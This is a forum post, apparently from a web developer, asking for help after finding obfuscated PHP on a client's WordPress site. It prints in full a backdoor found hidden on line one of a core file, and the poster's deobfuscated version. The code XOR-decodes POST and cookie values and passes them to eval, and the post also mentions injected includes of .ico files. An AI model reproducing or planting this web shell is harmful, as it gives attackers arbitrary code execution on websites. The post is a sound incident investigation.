Firstly - I expect the answer to be yes. But I never dealt with something like this so I would like some advice.
A client has recently complained that their website went down. So I started investigating. It's a wordpress site running WP 4.6.10. White screen of death was present so I enabled the debug mode.
There was a syntax error in the wp-includes/capabilities.php
file on line one. An unexpected variable $c1ee95a
was present. Initially I couldn't see anything on the first line but later found out that there is a single, long line of code on the first line offset by whitespace very far to the right. This is what I found:
<?php $u9e4fd27a = 42;$GLOBALS['j3dcff']=Array();global$j3dcff;$j3dcff=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['nea40']="\x50\x3c\x26\x53\x42\x7b\x3b\x22\x2d\x6b\x5d\x2b\x3e\x48\x56\x78\x4e\x72\x59\x7d\x74\x58\x36\x37\x24\x75\x30\x25\x3a\x27\x40\x73\x7a\x51\x7c\xa\x3f\x9\x45\x6d\x4f\x21\x55\x5c\x79\x4b\x2c\x29\x4d\x6e\x6a\x57\x67\x33\x4c\x43\x61\x6f\x2a\x31\x66\x28\x2f\x7e\x68\x77\x5f\x38\x46\x41\x39\x35\x4a\x47\x2e\x44\x65\x63\x52\xd\x70\x6c\x62\x76\x64\x60\x54\x20\x5a\x3d\x23\x5b\x5e\x32\x34\x49\x71\x69";$j3dcff[$j3dcff['nea40'][31].$j3dcff['nea40'][59].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][67].$j3dcff['nea40'][53]]=$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][9];$j3dcff[$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][70].$j3dcff['nea40'][71].$j3dcff['nea40'][60].$j3dcff['nea40'][82]]=$j3dcff['nea40'][77].$j3dcff['nea40'][57].$j3dcff['nea40'][25].$j3dcff['nea40'][49].$j3dcff['nea40'][20];$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][82].$j3dcff['nea40'][60]]=$j3dcff['nea40'][31].$j3dcff['nea40'][25].$j3dcff['nea40'][82].$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17];$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]=$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17].$j3dcff['nea40'][81].$j3dcff['nea40'][76].$j3dcff['nea40'][49];$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][71].$j3dcff['nea40'][59].$j3dcff['nea40'][82].$j3dcff['nea40'][77].$j3dcff['nea40'][22]]=$j3dcff['nea40'][76].$j3dcff['nea40'][15].$j3dcff['nea40'][80].$j3dcff['nea40'][81].$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][76];$j3dcff[$j3dcff['nea40'][65].$j3dcff['nea40'][56].$j3dcff['nea40'][26].$j3dcff['nea40'][59].$j3dcff['nea40'][23].$j3dcff['nea40'][59].$j3dcff['nea40'][56].$j3dcff['nea40'][71]]=$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17].$j3dcff['nea40'][66].$j3dcff['nea40'][17].$j3dcff['nea40'][76].$j3dcff['nea40'][80].$j3dcff['nea40'][76].$j3dcff['nea40'][56].$j3dcff['nea40'][20];$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][53].$j3dcff['nea40'][94].$j3dcff['nea40'][76].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][53]]=$_POST;$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][93].$j3dcff['nea40'][71].$j3dcff['nea40'][53].$j3dcff['nea40'][82].$j3dcff['nea40'][22].$j3dcff['nea40'][56]]=$_COOKIE;$vca92175=Array($j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][59]=>$j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][93]);$c692=Array($j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][53]=>$j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][94]);foreach(Array($vca92175,$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][53].$j3dcff['nea40'][94].$j3dcff['nea40'][76].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][53]],$c692,$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][93].$j3dcff['nea40'][71].$j3dcff['nea40'][53].$j3dcff['nea40'][82].$j3dcff['nea40'][22].$j3dcff['nea40'][56]])as$jc4c04){foreach($jc4c04 as $c1ee95a=>$t99e){$t99e=@$j3dcff[$j3dcff['nea40'][31].$j3dcff['nea40'][59].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][67].$j3dcff['nea40'][53]]($j3dcff['nea40'][13].$j3dcff['nea40'][58],$t99e);$c1ee95a.=$j3dcff['nea40'][22].$j3dcff['nea40'][23].$j3dcff['nea40'][70].$j3dcff['nea40'][77].$j3dcff['nea40'][77].$j3dcff['nea40'][60].$j3dcff['nea40'][67].$j3dcff['nea40'][77].$j3dcff['nea40'][8].$j3dcff['nea40'][22].$j3dcff['nea40'][77].$j3dcff['nea40'][59].$j3dcff['nea40'][93].$j3dcff['nea40'][8].$j3dcff['nea40'][94].$j3dcff['nea40'][23].$j3dcff['nea40'][84].$j3dcff['nea40'][53].$j3dcff['nea40'][8].$j3dcff['nea40'][82].$j3dcff['nea40'][93].$j3dcff['nea40'][22].$j3dcff['nea40'][26].$j3dcff['nea40'][8].$j3dcff['nea40'][53].$j3dcff['nea40'][76].$j3dcff['nea40'][26].$j3dcff['nea40'][76].$j3dcff['nea40'][53].$j3dcff['nea40'][22].$j3dcff['nea40'][26].$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][77].$j3dcff['nea40'][53].$j3dcff['nea40'][59];$r768e6=$t99e^$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][82].$j3dcff['nea40'][60]]($j3dcff[$j3dcff['nea40'][65].$j3dcff['nea40'][56].$j3dcff['nea40'][26].$j3dcff['nea40'][59].$j3dcff['nea40'][23].$j3dcff['nea40'][59].$j3dcff['nea40'][56].$j3dcff['nea40'][71]]($c1ee95a,($j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($t99e)/$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($c1ee95a))+1),0,$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($t99e));$r768e6=$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][71].$j3dcff['nea40'][59].$j3dcff['nea40'][82].$j3dcff['nea40'][77].$j3dcff['nea40'][22]]($j3dcff['nea40'][90],$r768e6);if($j3dcff[$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][70].$j3dcff['nea40'][71].$j3dcff['nea40'][60].$j3dcff['nea40'][82]]($r768e6)==3){eval($r768e6[1]($r768e6[2]));exit();}}} ?><?php
So I went ahead and tried to clean it up using various tools and an online PHP sandbox. This is probably not the best representation of the code but it's close enough:
$u9e4fd27a = 42;
$GLOBALS['j3dcff'] = Array();
global $j3dcff;
$j3dcff = $GLOBALS;
${"GLOBALS"}['nea40'] = "\x50\x3c\x26\x53\x42\x7b\x3b\x22\x2d\x6b\x5d\x2b\x3e\x48\x56\x78\x4e\x72\x59\x7d\x74\x58\x36\x37\x24\x75\x30\x25\x3a\x27\x40\x73\x7a\x51\x7c\xa\x3f\x9\x45\x6d\x4f\x21\x55\x5c\x79\x4b\x2c\x29\x4d\x6e\x6a\x57\x67\x33\x4c\x43\x61\x6f\x2a\x31\x66\x28\x2f\x7e\x68\x77\x5f\x38\x46\x41\x39\x35\x4a\x47\x2e\x44\x65\x63\x52\xd\x70\x6c\x62\x76\x64\x60\x54\x20\x5a\x3d\x23\x5b\x5e\x32\x34\x49\x71\x69";
$j3dcff["s1ce83"] = "pack";
$j3dcff["pa95fb"] = "count";
$j3dcff["ac000bf"] = "substr";
$j3dcff["e7b08b"] = "strlen";
$j3dcff["ac51bc6"] = "explode";
$j3dcff["wa0171a5"] = "str_repeat";
$j3dcff["o34ece3"] = $_POST;
$j3dcff["od253b6a"] = $_COOKIE;
$vca92175 = Array("random1" => "random2");
$c692 = Array("random3" => "random4");
foreach (Array($vca92175, $j3dcff["o34ece3"], $c692, $j3dcff["od253b6a"]) as $jc4c04) {
foreach ($jc4c04 as $key => $value) {
$value = @pack("H*", $value);
$key .= "679ccf8c-6c12-47d3-b260-3e0e360acc31";
$r768e6 = $value ^ substr(str_repeat($key, (strlen($value) / strlen($key)) + 1), 0, strlen($value));
$r768e6 = explode('#', $r768e6);
if (count($r768e6) == 3) {
eval ($r768e6[1]($r768e6[2]));
exit();
}
}
}
This code was rather long and hard to wrap my head around so I tried to var_dump
the function name and its argument that got plugged into eval. But it seems like the if
condition has never been met and WP proceeded to load other files. Well then I got another syntax error in wp-includes/class-wp-oembed-controller.php
. That also contained obfuscated code on line 1.
Whatever this code does it seems to be trying really hard to hide it. Furthermore I found some more suspicious things in wp-config.php
, index.php
and wp-settings.php
. Each is basically a line of code that is trying to include .ico
files from various places. One of them contains code for certain. The name of this one has suspected
suffix. Could this have been flagged by the hosting provider?
So I guess the server/website has been compromised in some fashion, right? What's the next step? Wipe everything, change passwords and re-upload all of it?
One thing that confuses me though is that FTP shows the class-wp-oembed-controller.php
file as last changed on 28th of October 2016. Does it imply a long term breach?